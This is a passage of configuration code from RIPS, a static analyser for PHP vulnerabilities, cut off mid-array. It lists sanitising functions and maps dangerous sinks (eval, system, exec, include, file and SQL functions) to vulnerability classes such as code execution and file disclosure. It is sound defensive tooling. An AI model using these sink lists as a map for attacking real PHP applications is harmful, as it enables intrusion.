array(\n\t\t'base64_decode',\n\t\t'htmlspecialchars_decode',\n\t\t'html_entity_decode',\n\t\t'bzdecompress',\n\t\t'chr',\n\t\t'convert_uudecode',\n\t\t'gzdecode',\n\t\t'gzinflate',\n\t\t'gzuncompress',\n\t\t'lzf_decompress',\n\t\t'rawurldecode',\n\t\t'urldecode',\n\t\t'zlib_decode',\n\t\t'imap_base64',\n\t\t'imap_utf7_decode',\n\t\t'imap_mime_header_decode',\n\t\t'iconv_mime_decode',\n\t\t'iconv_mime_decode_headers',\n\t\t'hex2bin',\n\t\t'quoted_printable_decode',\n\t\t'imap_qprint',\n\t\t'mb_decode_mimeheader',\n\t\t'bson_decode',\n\t\t'sqlite_udf_decode_binary',\n\t\t'utf8_decode',\n\t\t'recode_string',\n\t\t'recode'\n\t);\n\n\t// securing functions for XSS\n\t$F_SECURING_XSS = array(\n\t\t'htmlentities',\n\t\t'htmlspecialchars',\n\t\t'highlight_string',\n\t);\n\n\t// securing functions for SQLi\n\t$F_SECURING_SQL = array(\n\t\t'addslashes',\n\t\t'dbx_escape_string',\n\t\t'db2_escape_string',\n\t\t'ingres_escape_string',\n\t\t'maxdb_escape_string',\n\t\t'maxdb_real_escape_string',\n\t\t'mysql_escape_string',\n\t\t'mysql_real_escape_string',\n\t\t'mysqli_escape_string',\n\t\t'mysqli_real_escape_string',\n\t\t'pg_escape_string',\n\t\t'pg_escape_bytea',\n\t\t'sqlite_escape_string',\n\t\t'sqlite_udf_encode_binary',\n\t\t'cubrid_real_escape_string',\n\t);\n\n\t// securing functions for RCE with e-modifier in preg_**\n\t$F_SECURING_PREG = array(\n\t\t'preg_quote'\n\t);\n\n\t// securing functions for file handling\n\t$F_SECURING_FILE = array(\n\t\t'basename',\n\t\t'dirname',\n\t\t'pathinfo'\n\t);\n\n\t// securing functions for OS command execution\n\t$F_SECURING_SYSTEM = array(\n\t\t'escapeshellarg',\n\t\t'escapeshellcmd'\n\t);\n\n\t// securing XPath injection\n\t$F_SECURING_XPATH = array(\n\t\t'addslashes'\n\t);\n\n\t// securing LDAP injection\n\t$F_SECURING_LDAP = array(\n\t);\n\n\t// all specific securings\n\t$F_SECURES_ALL = array_merge(\n\t\t$F_SECURING_XSS,\n\t\t$F_SECURING_SQL,\n\t\t$F_SECURING_PREG,\n\t\t$F_SECURING_FILE,\n\t\t$F_SECURING_SYSTEM,\n\t\t$F_SECURING_XPATH\n\t);\n\n\t// securing functions that work only when embedded in quotes\n\t$F_QUOTE_ANALYSIS = $F_SECURING_SQL;\n"
  },
  {
    "path": "config/sinks.php",
    "content": "<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\n\n\t// cross-site scripting affected functions\n\t// parameter = 0 means, all parameters will be traced\n\t$NAME_XSS = 'Cross-Site Scripting';\n\t$F_XSS = array(\n\t\t'echo'\t\t\t\t\t\t\t=> array(array(0), $F_SECURING_XSS),\n\t\t'print'\t\t\t\t\t\t\t=> array(array(1), $F_SECURING_XSS),\n\t\t'print_r'\t\t\t\t\t\t=> array(array(1), $F_SECURING_XSS),\n\t\t'exit'\t\t\t\t\t\t\t=> array(array(1), $F_SECURING_XSS),\n\t\t'die'\t\t\t\t\t\t\t=> array(array(1), $F_SECURING_XSS),\n\t\t'printf'\t\t\t\t\t\t=> array(array(0), $F_SECURING_XSS),\n\t\t'vprintf'\t\t\t\t\t\t=> array(array(0), $F_SECURING_XSS),\n\t\t'trigger_error'\t\t\t\t\t=> array(array(1), $F_SECURING_XSS),\n\t\t'user_error'\t\t\t\t\t=> array(array(1), $F_SECURING_XSS),\n\t\t'odbc_result_all'\t\t\t\t=> array(array(2), $F_SECURING_XSS),\n\t\t'ovrimos_result_all'\t\t\t=> array(array(2), $F_SECURING_XSS),\n\t\t'ifx_htmltbl_result'\t\t\t=> array(array(2), $F_SECURING_XSS)\n\t);\n\n\t// HTTP header injections\n\t$NAME_HTTP_HEADER = 'HTTP Response Splitting';\n    $F_HTTP_HEADER = array(\n\t\t'header' \t\t\t\t\t\t=> array(array(1), array())\n\t);\n\n\t// session fixation\n\t$NAME_SESSION_FIXATION = 'Session Fixation';\n    $F_SESSION_FIXATION = array(\n\t\t'setcookie' \t\t\t\t\t=> array(array(2), array()),\n\t\t'setrawcookie' \t\t\t\t\t=> array(array(2), array()),\n\t\t'session_id' \t\t\t\t\t=> array(array(1), array())\n\t);\n\n\t// code evaluating functions  => (parameters to scan, securing functions)\n\t// example parameter array(1,3) will trace only first and third parameter\n\t$NAME_CODE = 'Code Execution';\n\t$F_CODE = array(\n\t\t'assert' \t\t\t\t\t\t=> array(array(1), array()),\n\t\t'create_function' \t\t\t\t=> array(array(1,2), array()),\n\t\t'eval' \t\t\t\t\t\t\t=> array(array(1), array()),\n\t\t'mb_ereg_replace'\t\t\t\t=> array(array(1,2), $F_SECURING_PREG),\n\t\t'mb_eregi_replace'\t\t\t\t=> array(array(1,2), $F_SECURING_PREG),\n\t\t'preg_filter'\t\t\t\t\t=> array(array(1,2), $F_SECURING_PREG),\n\t\t'preg_replace'\t\t\t\t\t=> array(array(1,2), $F_SECURING_PREG),\n\t\t'preg_replace_callback'\t\t\t=> array(array(1), $F_SECURING_PREG),\n\t);\n\n\t// reflection injection\n\t$NAME_REFLECTION = 'Reflection Injection';\n\t$F_REFLECTION = array(\n\t\t'event_buffer_new'\t\t\t\t=> array(array(2,3,4), array()),\n\t\t'event_set'\t\t\t\t\t\t=> array(array(4), array()),\n\t\t'iterator_apply'\t\t\t\t=> array(array(2), array()),\n\t\t'forward_static_call'\t\t\t=> array(array(1), array()),\n\t\t'forward_static_call_array'\t\t=> array(array(1), array()),\n\t\t'call_user_func'\t\t\t\t=> array(array(1), array()),\n\t\t'call_user_func_array'\t\t\t=> array(array(1), array()),\n\t\t'array_diff_uassoc'\t\t\t\t=> array(array(3), array()),\n\t\t'array_diff_ukey'\t\t\t\t=> array(array(3), array()),\n\t\t'array_filter'\t\t\t\t\t=> array(array(2), array()),\n\t\t'array_intersect_uassoc'\t\t=> array(array(3), array()),\n\t\t'array_intersect_ukey'\t\t\t=> array(array(3), array()),\n\t\t'array_map'\t\t\t\t\t\t=> array(array(1), array()),\n\t\t'array_reduce'\t\t\t\t\t=> array(array(2), array()),\n\t\t'array_udiff'\t\t\t\t\t=> array(array(3), array()),\n\t\t'array_udiff_assoc'\t\t\t\t=> array(array(3), array()),\n\t\t'array_udiff_uassoc'\t\t\t=> array(array(3,4), array()),\n\t\t'array_uintersect'\t\t\t\t=> array(array(3), array()),\n\t\t'array_uintersect_assoc'\t\t=> array(array(3), array()),\n\t\t'array_uintersect_uassoc'\t\t=> array(array(3,4), array()),\n\t\t'array_walk'\t\t\t\t\t=> array(array(2), array()),\n\t\t'array_walk_recursive'\t\t\t=> array(array(2), array()),\n\t\t'assert_options'\t\t\t\t=> array(array(2), array()),\n\t\t'ob_start'\t\t\t\t\t\t=> array(array(1), array()),\n\t\t'register_shutdown_function'\t=> array(array(1), array()),\n\t\t'register_tick_function'\t\t=> array(array(1), array()),\n\t\t'runkit_method_add'\t\t\t\t=> array(array(1,2,3,4), array()),\n\t\t'runkit_method_copy'\t\t\t=> array(array(1,2,3), array()),\n\t\t'runkit_method_redefine'\t\t=> array(array(1,2,3,4), array()),\n\t\t'runkit_method_rename'\t\t\t=> array(array(1,2,3), array()),\n\t\t'runkit_function_add'\t\t\t=> array(array(1,2,3), array()),\n\t\t'runkit_function_copy'\t\t\t=> array(array(1,2), array()),\n\t\t'runkit_function_redefine'\t\t=> array(array(1,2,3), array()),\n\t\t'runkit_function_rename'\t\t=> array(array(1,2), array()),\n\t\t'session_set_save_handler'\t\t=> array(array(1,2,3,4,5), array()),\n\t\t'set_error_handler'\t\t\t\t=> array(array(1), array()),\n\t\t'set_exception_handler'\t\t\t=> array(array(1), array()),\n\t\t'spl_autoload'\t\t\t\t\t=> array(array(1), array()),\n\t\t'spl_autoload_register'\t\t\t=> array(array(1), array()),\n\t\t'sqlite_create_aggregate'\t\t=> array(array(2,3,4), array()),\n\t\t'sqlite_create_function'\t\t=> array(array(2,3), array()),\n\t\t'stream_wrapper_register'\t\t=> array(array(2), array()),\n\t\t'uasort'\t\t\t\t\t\t=> array(array(2), array()),\n\t\t'uksort'\t\t\t\t\t\t=> array(array(2), array()),\n\t\t'usort'\t\t\t\t\t\t\t=> array(array(2), array()),\n\t\t'yaml_parse'\t\t\t\t\t=> array(array(4), array()),\n\t\t'yaml_parse_file'\t\t\t\t=> array(array(4), array()),\n\t\t'yaml_parse_url'\t\t\t\t=> array(array(4), array()),\n\t\t'eio_busy'\t\t\t\t\t\t=> array(array(3), array()),\n\t\t'eio_chmod'\t\t\t\t\t\t=> array(array(4), array()),\n\t\t'eio_chown'\t\t\t\t\t\t=> array(array(5), array()),\n\t\t'eio_close'\t\t\t\t\t\t=> array(array(3), array()),\n\t\t'eio_custom'\t\t\t\t\t=> array(array(1,2), array()),\n\t\t'eio_dup2'\t\t\t\t\t\t=> array(array(4), array()),\n\t\t'eio_fallocate'\t\t\t\t\t=> array(array(6), array()),\n\t\t'eio_fchmod'\t\t\t\t\t=> array(array(4), array()),\n\t\t'eio_fchown'\t\t\t\t\t=> array(array(5), array()),\n\t\t'eio_fdatasync'\t\t\t\t\t=> array(array(3), array()),\n\t\t'eio_fstat'\t\t\t\t\t\t=> array(array(3), array()),\n\t\t'eio_fstatvfs'\t\t\t\t\t=> array(array(3), array()),\n\t\t'preg_replace_callback'\t\t\t=> array(array(2), array()),\n\t\t'dotnet_load'\t\t\t\t\t=> array(array(1), array()),\n\t);\n\n\t// file inclusion functions => (parameters to scan, securing functions)\n\t$NAME_FILE_INCLUDE = 'File Inclusion';\n\t$F_FILE_INCLUDE = array(\n\t\t'include' \t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'include_once' \t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'parsekit_compile_file'\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'php_check_syntax' \t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'require' \t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'require_once' \t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'runkit_import'\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'set_include_path' \t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'virtual' \t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE)\n\t);\n\n\t// file affecting functions  => (parameters to scan, securing functions)\n\t// file handler functions like fopen() are added as parameter\n\t// for functions that use them like fread() and fwrite()\n\t$NAME_FILE_READ = 'File Disclosure';\n\t$F_FILE_READ = array(\n\t\t'bzread'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'bzflush'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'dio_read'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'eio_readdir'\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'fdf_open'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'file'\t\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'file_get_contents'\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'finfo_file'\t\t\t\t\t=> array(array(1,2), array()),\n\t\t'fflush'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'fgetc'\t\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'fgetcsv'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'fgets'\t\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'fgetss'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'fread'\t\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'fpassthru'\t\t\t\t\t\t=> array(array(1,2), array()),\n\t\t'fscanf'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'ftok'\t\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'get_meta_tags'\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'glob'\t\t\t\t\t\t\t=> array(array(1), array()),\n\t\t'gzfile'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'gzgetc'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'gzgets'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'gzgetss'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'gzread'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'gzpassthru'\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'highlight_file'\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'imagecreatefrompng'\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'imagecreatefromjpg'\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'imagecreatefromgif'\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'imagecreatefromgd2'\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'imagecreatefromgd2part'\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'imagecreatefromgd'\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'opendir'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'parse_ini_file' \t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'php_strip_whitespace'\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'readfile'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'readgzfile'\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'readlink'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t//'stat'\t\t\t\t\t\t=> array(array(1), array()),\n\t\t'scandir'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'show_source'\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'simplexml_load_file'\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'stream_get_contents'\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'stream_get_line'\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'xdiff_file_bdiff'\t\t\t\t=> array(array(1,2), $F_SECURING_FILE),\n\t\t'xdiff_file_bpatch'\t\t\t\t=> array(array(1,2), $F_SECURING_FILE),\n\t\t'xdiff_file_diff_binary'\t\t=> array(array(1,2), $F_SECURING_FILE),\n\t\t'xdiff_file_diff'\t\t\t\t=> array(array(1,2), $F_SECURING_FILE),\n\t\t'xdiff_file_merge3'\t\t\t\t=> array(array(1,2,3), $F_SECURING_FILE),\n\t\t'xdiff_file_patch_binary'\t\t=> array(array(1,2), $F_SECURING_FILE),\n\t\t'xdiff_file_patch'\t\t\t\t=> array(array(1,2), $F_SECURING_FILE),\n\t\t'xdiff_file_rabdiff'\t\t\t=> array(array(1,2), $F_SECURING_FILE),\n\t\t'yaml_parse_file'\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'zip_open'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE)\n\t);\n\n\t// file or file system affecting functions\n\t$NAME_FILE_AFFECT = 'File Manipulation';\n\t$F_FILE_AFFECT = array(\n\t\t'bzwrite'\t\t\t\t\t\t=> array(array(2), array()),\n\t\t'chmod'\t\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'chgrp'\t\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'chown'\t\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'copy'\t\t\t\t\t\t\t=> array(array(1), array()),\n\t\t'dio_write'\t\t\t\t\t\t=> array(array(1,2), array()),\n\t\t'eio_chmod'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'eio_chown'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'eio_mkdir'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'eio_mknod'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'eio_rmdir'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'eio_write'\t\t\t\t\t\t=> array(array(1,2), array()),\n\t\t'eio_unlink'\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'error_log'\t\t\t\t\t\t=> array(array(3), $F_SECURING_FILE),\n\t\t'event_buffer_write'\t\t\t=> array(array(2), array()),\n\t\t'file_put_contents'\t\t\t\t=> array(array(1,2), $F_SECURING_FILE),\n\t\t'fputcsv'\t\t\t\t\t\t=> array(array(1,2), $F_SECURING_FILE),\n\t\t'fputs'\t\t\t\t\t\t\t=> array(array(1,2), $F_SECURING_FILE),\n\t\t'fprintf'\t\t\t\t\t\t=> array(array(0), array()),\n\t\t'ftruncate'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'fwrite'\t\t\t\t\t\t=> array(array(1,2), $F_SECURING_FILE),\n\t\t'gzwrite'\t\t\t\t\t\t=> array(array(1,2), array()),\n\t\t'gzputs'\t\t\t\t\t\t=> array(array(1,2), array()),\n\t\t'loadXML'\t\t\t\t\t\t=> array(array(1), array()),\n\t\t'mkdir'\t\t\t\t\t\t\t=> array(array(1), array()),\n\t\t'move_uploaded_file'\t\t\t=> array(array(1,2), $F_SECURING_FILE),\n\t\t'posix_mknod'\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'recode_file'\t\t\t\t\t=> array(array(2,3), $F_SECURING_FILE),\n\t\t'rename'\t\t\t\t\t\t=> array(array(1,2), $F_SECURING_FILE),\n\t\t'rmdir'\t\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'shmop_write'\t\t\t\t\t=> array(array(2), array()),\n\t\t'touch'\t\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'unlink'\t\t\t\t\t\t=> array(array(1), $F_SECURING_FILE),\n\t\t'vfprintf'\t\t\t\t\t\t=> array(array(0), array()),\n\t\t'xdiff_file_bdiff'\t\t\t\t=> array(array(3), $F_SECURING_FILE),\n\t\t'xdiff_file_bpatch'\t\t\t\t=> array(array(3), $F_SECURING_FILE),\n\t\t'xdiff_file_diff_binary'\t\t=> array(array(3), $F_SECURING_FILE),\n\t\t'xdiff_file_diff'\t\t\t\t=> array(array(3), $F_SECURING_FILE),\n\t\t'xdiff_file_merge3'\t\t\t\t=> array(array(4), $F_SECURING_FILE),\n\t\t'xdiff_file_patch_binary'\t\t=> array(array(3), $F_SECURING_FILE),\n\t\t'xdiff_file_patch'\t\t\t\t=> array(array(3), $F_SECURING_FILE),\n\t\t'xdiff_file_rabdiff'\t\t\t=> array(array(3), $F_SECURING_FILE),\n\t\t'yaml_emit_file'\t\t\t\t=> array(array(1,2), $F_SECURING_FILE),\n\t);\n\n\t// OS Command executing functions => (parameters to scan, securing functions)\n\t$NAME_EXEC = 'Command Execution';\n\t$F_EXEC = array(\n\t\t'backticks'\t\t\t\t\t\t=> array(array(1), $F_SECURING_SYSTEM), # transformed during parsing\n\t\t'exec'\t\t\t\t\t\t\t=> array(array(1), $F_SECURING_SYSTEM),\n\t\t'expect_popen'\t\t\t\t\t=> array(array(1), $F_SECURING_SYSTEM),\n\t\t'passthru'\t\t\t\t\t\t=> array(array(1), $F_SECURING_SYSTEM),\n\t\t'pcntl_exec'\t\t\t\t\t=> array(array(1), $F_SECURING_SYSTEM),\n\t\t'popen'\t\t\t\t\t\t\t=> array(array(1), $F_SECURING_SYSTEM),\n\t\t'proc_open'\t\t\t\t\t\t=> array(array(1), $F_SECURING_SYSTEM),\n\t\t'shell_exec'\t\t\t\t\t=> array(array(1), $F_SECURING_SYSTEM),\n\t\t'system'\t\t\t\t\t\t=> array(array(1), $F_SECURING_SYSTEM),\n\t\t'mail'\t\t\t\t\t\t\t=> array(array(5), array()), // http://esec-pentest.sogeti.com/web/using-mail-remote-code-execution\n\t\t'mb_send_mail'\t\t\t\t\t=> array(array(5), array()),\n\t\t'w32api_invoke_function'\t\t=> array(array(1), array()),\n\t\t'w32api_register_function'\t\t=> array(array(2), array()),\n\t);\n\n\t// SQL executing functions => (parameters to scan, securing functions)\n\t$NAME_DATABASE = 'SQL Injection';\n\t$F_DATABASE = array(\n\t// Abstraction Layers\n\t\t'dba_open'\t\t\t\t\t\t=> array(array(1), array()),\n\t\t'dba_popen'\t\t\t\t\t\t=> array(array(1), array()),\n\t\t'dba_insert'\t\t\t\t\t=> array(array(1,2), array()),\n\t\t'dba_fetch'\t\t\t\t\t\t=> array(array(1), array()),\n\t\t'dba_delete'\t\t\t\t\t=> array(array(1), array()),\n\t\t'dbx_query'\t\t\t\t\t\t=> array(array(2), $F_SECURING_SQL),\n\t\t'odbc_do'\t\t\t\t\t\t=> array(array(2), $F_SECURING_SQL),\n\t\t'odbc_exec'\t\t\t\t\t\t=> array(array(2), $F_SECURING_SQL),\n\t\t'odbc_execute'\t\t\t\t\t=> array(array(2), $F_SECURING_SQL),\n\t// Vendor Specific\n\t\t'db2_exec' \t\t\t\t\t\t=> array(array(2), $F_SECURING_SQL),\n\t\t'db2_execute'\t\t\t\t\t=> array(array(2), $F_SECURING_SQL),\n\t\t'fbsql_db_query'\t\t\t\t=> array(array(2), $F_SECURING_SQL),\n\t\t'fbsql_query'\t\t\t\t\t=> array(array(1), $F_SECURING_SQL),\n\t\t'ibase_query'\t\t\t\t\t=> array(array(2), $F_SECURING_SQL),\n\t\t'ibase_execute'\t\t\t\t\t=> array(array(1), $F_SECURING_SQL),\n\t\t'ifx_query'\t\t\t\t\t\t=> array(array(1), $F_SECURING_SQL),\n\t\t'ifx_do'\t\t\t\t\t\t=> array(array(1), $F_SECURING_SQL),\n\t\t'ingres_query'\t\t\t\t\t=> array(array(2), $F_SECURING_SQL),\n\t\t'ingres_execute'\t\t\t\t=> array(array(2), $F_SECURING_SQL),\n\t\t'ingres_unbuffered_query'\t\t=> array(array(2), $F_SECURING_SQL),\n\t\t'msql_db_query'\t\t\t\t\t=> array(array(2), $F_SECURING_SQL),\n\t\t'msql_query'\t\t\t\t\t=> array(array(1), $F_SECURING_SQL),\n\t\t'msql'\t\t\t\t\t\t\t=> array(array(2), $F_SECURING_SQL),\n\t\t'mssql_query'\t\t\t\t\t=> array(array(1), $F_SECURING_SQL),\n\t\t'mssql_execute'\t\t\t\t\t=> array(array(1), $F_SECURING_SQL),\n\t\t'mysql_db_query'\t\t\t\t=> array(array(2), $F_SECURING_SQL),\n\t\t'mysql_query'\t\t\t\t\t=> array(array(1), $F_SECURING_SQL),\n\t\t'mysql_unbuffered_query'\t\t=> array(array(1), $F_SECURING_SQL),\n\t\t'mysqli_stmt_execute'\t\t\t=> array(array(1), $F_SECURING_SQL),\n\t\t'mysqli_query'\t\t\t\t\t=> array(array(2), $F_SECURING_SQL),\n\t\t'mysqli_real_query'\t\t\t\t=> array(array(1), $F_SECURING_SQL),\n\t\t'mysqli_master_query'\t\t\t=> array(array(2), $F_SECURING_SQL),\n\t\t'oci_execute'\t\t\t\t\t=> array(array(1), array()),\n\t\t'ociexecute'\t\t\t\t\t=> array(array(1), array()),\n\t\t'ovrimos_exec'\t\t\t\t\t=> array(array(2), $F_SECURING_SQL),\n\t\t'ovrimos_execute'\t\t\t\t=> array(array(2), $F_SECURING_SQL),\n\t\t'ora_do'\t\t\t\t\t\t=> array(array(2), array()),\n\t\t'ora_exec'\t\t\t\t\t\t=> array(array(1), array()),\n\t\t'pg_query'\t\t\t\t\t\t=> array(array(2), $F_SECURING_SQL),\n\t\t'pg_send_query'\t\t\t\t\t=> array(array(2), $F_SECURING_SQL),\n\t\t'pg_send_query_params'\t\t\t=> array(array(2), $F_SECURING_SQL),\n\t\t'pg_send_prepare'\t\t\t\t=> array(array(3), $F_SECURING_SQL),\n\t\t'pg_prepare'\t\t\t\t\t=> array(array(3), $F_SECURING_SQL),\n\t\t'sqlite_open'\t\t\t\t\t=> array(array(1), $F_SECURING_SQL),\n\t\t'sqlite_popen'\t\t\t\t\t=> array(array(1), $F_SECURING_SQL),\n\t\t'sqlite_array_query'\t\t\t=> array(array(1,2), $F_SECURING_SQL),\n\t\t'arrayQuery'\t\t\t\t\t=> array(array(1,2), $F_SECURING_SQL),\n\t\t'singleQuery'\t\t\t\t\t=> array(array(1), $F_SECURING_SQL),\n\t\t'sqlite_query'\t\t\t\t\t=> array(array(1,2), $F_SECURING_SQL),\n\t\t'sqlite_exec'\t\t\t\t\t=> array(array(1,2), $F_SECURING_SQL),\n\t\t'sqlite_single_query'\t\t\t=> array(array(2), $F_SECURING_SQL),\n\t\t'sqlite_unbuffered_query'\t\t=> array(array(1,2), $F_SECURING_SQL),\n\t\t'sybase_query'\t\t\t\t\t=> array(array(1), $F_SECURING_SQL),\n\t\t'sybase_unbuffered_query'\t\t=> array(array(1), $F_SECURING_SQL)\n\t);\n\n\t// xpath injection\n\t$NAME_XPATH = 'XPath Injection';\n\t$F_XPATH = array(\n\t\t'xpath_eval'\t\t\t\t\t=> array(array(2), $F_SECURING_XPATH),\n\t\t'xpath_eval_expression'\t\t\t=> array(array(2), $F_SECURING_XPATH),\n\t\t'xptr_eval'\t\t\t\t\t\t=> array(array(2), $F_SECURING_XPATH)\n\t);\n\n\t// ldap injection\n\t$NAME_LDAP = 'LDAP Injection';\n\t$F_LDAP = array(\n\t\t'ldap_add'\t\t\t\t\t\t=> array(array(2,3), $F_SECURING_LDAP),\n\t\t'ldap_delete'\t\t\t\t\t=> array(array(2), $F_SECURING_LDAP),\n\t\t'ldap_list'\t\t\t\t\t\t=> array(array(3), $F_SECURING_LDAP),\n\t\t'ldap_read'\t\t\t\t\t\t=> array(array(3), $F_SECURING_LDAP),\n\t\t'ldap_search'\t\t\t\t\t=> array(array(3), $F_SECURING_LDAP)\n\t);\n\n\t// connection handling functions\n\t$NAME_CONNECT = 'Protocol Injection';\n    $F_CONNECT = array(\n\t\t'curl_setopt'\t\t\t\t\t=> array(array(2,3), array()),\n\t\t'curl_setopt_array' \t\t\t=> array(array(2), array()),\n\t\t'cyrus_query' \t\t\t\t\t=> array(array(2), array()),\n\t\t'error_log'\t\t\t\t\t\t=> array(array(3), array()),\n\t\t'fsockopen'\t\t\t\t\t\t=> array(array(1), array()),\n\t\t'ftp_chmod' \t\t\t\t\t=> array(array(2,3), array()),\n\t\t'ftp_exec'\t\t\t\t\t\t=> array(array(2), array()),\n\t\t'ftp_delete' \t\t\t\t\t=> array(array(2), array()),\n\t\t'ftp_fget' \t\t\t\t\t\t=> array(array(3), array()),\n\t\t'ftp_get'\t\t\t\t\t\t=> array(array(2,3), array()),\n\t\t'ftp_nlist' \t\t\t\t\t=> array(array(2), array()),\n\t\t'ftp_nb_fget' \t\t\t\t\t=> array(array(3), array()),\n\t\t'ftp_nb_get' \t\t\t\t\t=> array(array(2,3), array()),\n\t\t'ftp_nb_put'\t\t\t\t\t=> array(array(2), array()),\n\t\t'ftp_put'\t\t\t\t\t\t=> array(array(2,3), array()),\n\t\t'get_headers'\t\t\t\t\t=> array(array(1), array()),\n\t\t'imap_open'\t\t\t\t\t\t=> array(array(1), array()),\n\t\t'imap_mail'\t\t\t\t\t\t=> array(array(1), array()),\n\t\t'mail' \t\t\t\t\t\t\t=> array(array(1,4), array()),\n\t\t'mb_send_mail'\t\t\t\t\t=> array(array(1,4), array()),\n\t\t'ldap_connect'\t\t\t\t\t=> array(array(1), array()),\n\t\t'msession_connect'\t\t\t\t=> array(array(1), array()),\n\t\t'pfsockopen'\t\t\t\t\t=> array(array(1), array()),\n\t\t'session_register'\t\t\t\t=> array(array(0), array()),\n\t\t'socket_bind'\t\t\t\t\t=> array(array(2), array()),\n\t\t'socket_connect'\t\t\t\t=> array(array(2), array()),\n\t\t'socket_send'\t\t\t\t\t=> array(array(2), array()),\n\t\t'socket_write'\t\t\t\t\t=> array(array(2), array()),\n\t\t'stream_socket_client'\t\t\t=> array(array(1), array()),\n\t\t'stream_socket_server'\t\t\t=> array(array(1), array()),\n\t\t'printer_open'\t\t\t\t\t=> array(array(1), array())\n\t);\n\n\t// other critical functions\n\t$NAME_OTHER = 'Possible Flow Control'; // :X\n\t$F_OTHER = array(\n\t\t'dl' \t\t\t\t\t\t\t=> array(array(1), array()),\n\t\t'ereg'\t\t\t\t\t\t\t=> array(array(2), array()), # nullbyte injection affected\n\t\t'eregi'\t\t\t\t\t\t\t=> array(array(2), array()), # nullbyte injection affected\n\t\t'ini_set' \t\t\t\t\t\t=> array(array(1,2), array()),\n\t\t'ini_restore'\t\t\t\t\t=> array(array(1), array()),\n\t\t'runkit_constant_redefine'\t\t=> array(array(1,2), array()),\n\t\t'runkit_method_rename'\t\t\t=> array(array(1,2,3), array()),\n\t\t'sleep'\t\t\t\t\t\t\t=> array(array(1), array()),\n\t\t'usleep'\t\t\t\t\t\t=> array(array(1), 